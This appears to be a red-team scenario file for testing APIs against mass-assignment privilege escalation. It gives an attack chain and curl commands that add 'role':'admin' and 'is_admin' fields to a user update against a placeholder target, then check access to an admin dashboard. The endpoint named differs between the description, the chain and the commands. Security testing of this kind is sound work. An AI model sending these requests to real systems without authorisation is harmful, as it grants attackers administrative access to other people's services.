---
name: rt-scenario-a003
description: "Scenario A003 — API: Mass Assignment → privilege escalation. POST /api/users accepts undocumented role field, elevating attacker to admin."
---

# Scenario A003: Mass Assignment → Privilege Escalation

**Domain**: API Security | **Severity**: High | **CVSS**: 8.1

## Chain
```
Register account → POST /api/profile with {"role":"admin"} →
account elevated → access admin endpoints
```

## Key Test
```bash
# Try adding undocumented fields
curl -X PUT https://{target}/api/users/me \
  -H "Authorization: Bearer {token}" \
  -d '{"name":"attacker","role":"admin","is_admin":true,"subscription":"enterprise"}'

# Verify elevation
curl https://{target}/api/admin/dashboard -H "Authorization: Bearer {token}"
```
→ `rt-exploit-api`
